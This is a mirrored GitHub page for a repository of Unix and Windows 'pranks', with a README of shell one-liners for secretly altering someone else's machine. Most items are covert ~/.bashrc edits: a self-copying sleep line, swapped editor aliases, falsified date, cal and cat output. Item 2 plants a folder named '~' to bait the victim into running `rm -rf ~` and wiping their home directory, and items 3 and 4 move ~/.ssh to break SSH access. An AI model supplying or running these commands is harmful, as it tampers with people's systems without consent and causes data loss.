https://github.com/zeroby0/pranks
Unix pranks to slowly drive your friends mad
https://github.com/zeroby0/pranks
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Unix pranks to slowly drive your friends mad
- Host: GitHub
- URL: https://github.com/zeroby0/pranks
- Owner: zeroby0
- License: other
- Created: 2018-10-06T17:42:26.000Z (over 7 years ago)
- Default Branch: master
- Last Pushed: 2019-02-06T14:39:36.000Z (over 7 years ago)
- Last Synced: 2025-02-24T13:51:19.915Z (over 1 year ago)
- Topics: hacktoberfest, pranks
- Homepage:
- Size: 3.71 MB
- Stars: 23
- Watchers: 3
- Forks: 2
- Open Issues: 2
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Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# Pranks
Here is a list of all my favourite \*nix & Windows pranks.
Table of Contents
- [1. Slow down the terminal](#1-slow-down-the-terminal)
- [2. Create a `~` folder](#2-create-a--folder)
- [3. Change ssh to shh](#3-change-ssh-to-shh)
- [4. File names that end with spaces](#4-file-names-that-end-with-spaces)
- [5. Ssshhh! - macOS only](#5-ssshhh---macos-only)
- [6. Upside down Windows - Windows Only](#6-upside-down-windows)
- [7. Change Editors!](#7-change-editors)
- [8. Install sl](#8-install-sl)
- [9. Make `date` return random dates](#9-make-date-return-random-dates)
- [10. Dancing parrot on your terminal](#10-dancing-parrot-on-your-terminal)
- [11. Make `cat` print a cat randomly](#11-make-cat-print-a-cat-randomly)
## 1. Slow down the terminal
```
echo "echo 'sleep .1' >> ~/.bashrc" >> ~/.bashrc
```
So a `sleep .1` is added to `~/.bashrc` everytime the user starts a new terminal. So the terminal startup time increases with every use, slowly, but surely.
## 2. Create a `~` folder
**Note**: Potentially destructive. Use caution.
```
mkdir '~'
echo "kghkjhlkjh" > ./'~'/1
```
While `~` is an alias for `$HOME` folder, file/folder names with `~` are perfectly legal. Put some random stuff in it so that user has to use `rm -rf ` to delete the folder.
Now, invariably, the victim types `rm -rf ~` to delete the folder. :smiling_imp:
If you want to be sure the user notices it, add this line to `~/.bashrc`.
```
alias cd="mkdir -p '~' && echo "kghkjhlkjh" > ./'~'/1 && cd"
```
Now every directory the user `cd`s into will have a `~` folder.
## 3. Change ssh to shh
```
mv ~/.ssh ~/.shh
```
From this: https://twitter.com/nixcraft/status/1045760653510815744
## 4. File names that end with spaces
```
mv ~/.ssh ~/'.ssh '
```
```
mkdir ~/Desktop/'hello '
```
And so on.
File names with trailing spaces are perfectly legal. Watch them struggle deleting it :laughing:
## 5. Ssshhh! - macOS only
In `settings > accessibility > Speech > System voice > customise`, download voice `whisper`.
Now, add this to `~/.bashprofile`
```
alias ssh="osascript -e 'set volume 10' && say -v whisper shh && ssh"
```
## 6. Upside down Windows
Every one knows that `ctrl + shift + down-arrow` inverts the desktop. Instead,
* Take a screenshot of the normal Desktop, invert it horizontally and vertically in paint.
* Then disable icons and auto hide the taskbar.
* Set the previous inverted image as Wallpaper.
* optional: Invert mouse and arrow keys from settings
* Now invert the Desktop!
## 7. Change Editors!
Modify the `.bashrc` to include this:
```
alias nano="/usr/bin/vi"
alias vi="/usr/bin/nano"
alias vim="/usr/bin/emacs"
alias emacs="/usr/bin/vim"
```
## 8. Install sl
Install sl and leave it be. Everyone is bound to type `sl` instead of `ls` at some point of time.
https://www.youtube.com/watch?v=9GyMZKWjcYU
## 9. Make `date` return random dates
This might need some tweaking in some systems, especially BSD versions of `date` command. Add these to `.bashrc`.
``` sh
alias date='date -d "now + $RANDOM days"'
```
Similarly, for the `cal` command,
``` sh
function cal() {
if [ $# -eq 0 ]; then # If no arguments
/usr/bin/cal -m $(date +%b) $(( ((RANDOM<<15)|RANDOM) % 45 + 2000 ));
else
/usr/bin/cal $(( ((RANDOM<<15)|RANDOM) % 45 + 2000 ));
fi;
}
```
## 10. Dancing parrot on your terminal
## 11. Make `cat` print a cat randomly
``` sh
function cat() {
rdm=$(( ((RANDOM<<15)|RANDOM) % 5000 ));
if test $rdm -lt 400
then
base64 -D <<< "ICAgICAgICAgICAgICAgICAgVC4iLS5fLi4tLS0uLl8sLSIvfAogICAgICAgICAgICAgICAgICBsfCItLiAgXy52Ll8gICAoIiB8CiAgICAgICAgICAgICAgICAgIFtsIC8uJ18gXDsgX34iLS5gLXQKICAgICAgICAgICAgICAgICAgWSAiIF8ob30gX3tvKS5fIF4ufAogICAgICAgICAgICAgICAgICBqICBUICAsLTx2Pi0uICBUICBdCiAgICAgICAgICAgICAgICAgIFwgIGwgKCAvLV4tXCApICEgICEKICAgICAgICAgICAgICAgICAgIFwuIFwuICAifiIgIC4vICAvYy0uLixfXwogICAgICAgICAgICAgICAgICAgICBeci0gLi5fIC4tIC4tIiAgYC0gLiAgfiItLS4KICAgICAgICAgICAgICAgICAgICAgID4gXC4gICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICAgICAgICAgICAgICAgXSAgIF4uICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICAgICAgICAgICAgICAgMyAgLiAgIj4gICAgICAgICAgICAuICAgICAgIFkKICAgICAgICAgLC5fXy4tLS5fICAgX2ogICBcIH4gICAuICAgICAgICAgOyAgICAgICB8CiAgICAgICAgKCAgICB+Ii0uX34iXi5fXCAgIF4uICAgIF4uXyAgICAgIEkgICAgIC4gbAogICAgICAgICAiLS5fIF9fXyB+Ii0sXzcgICAgLlotLl8gICA3IiAgIFkgICAgICA7ICBcICAgICAgICBfCiAgICAgICAgICAgIC8iICAgIn4tKHIgciAgXy9fLS0uX34tLyAgICAvICAgICAgLywuLS1eLS5fICAgLyBZCiAgICAgICAgICAgICItLl8gICAgJyJ+fn4+LS5ffl0+LS1eLS0tLi9fX19fLC5efiAgICAgICAgXi5eICAhCiAgICAgICAgICAgICAgICB+LS0uXyAgICAnICAgWS0tLS4gICAgICAgICAgICAgICAgICAgICAgICBcLi8KICAgICAgICAgICAgICAgICAgICAgfn4tLS5fICBsXyAgICkgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgIH4tLl9+fn4tLS0uXyxfX19fLi4tLS0gICAgICAgICAgIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH4tLS0tIn4gICAgICAgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXA=="
else
/bin/cat $1
fi;
}
```
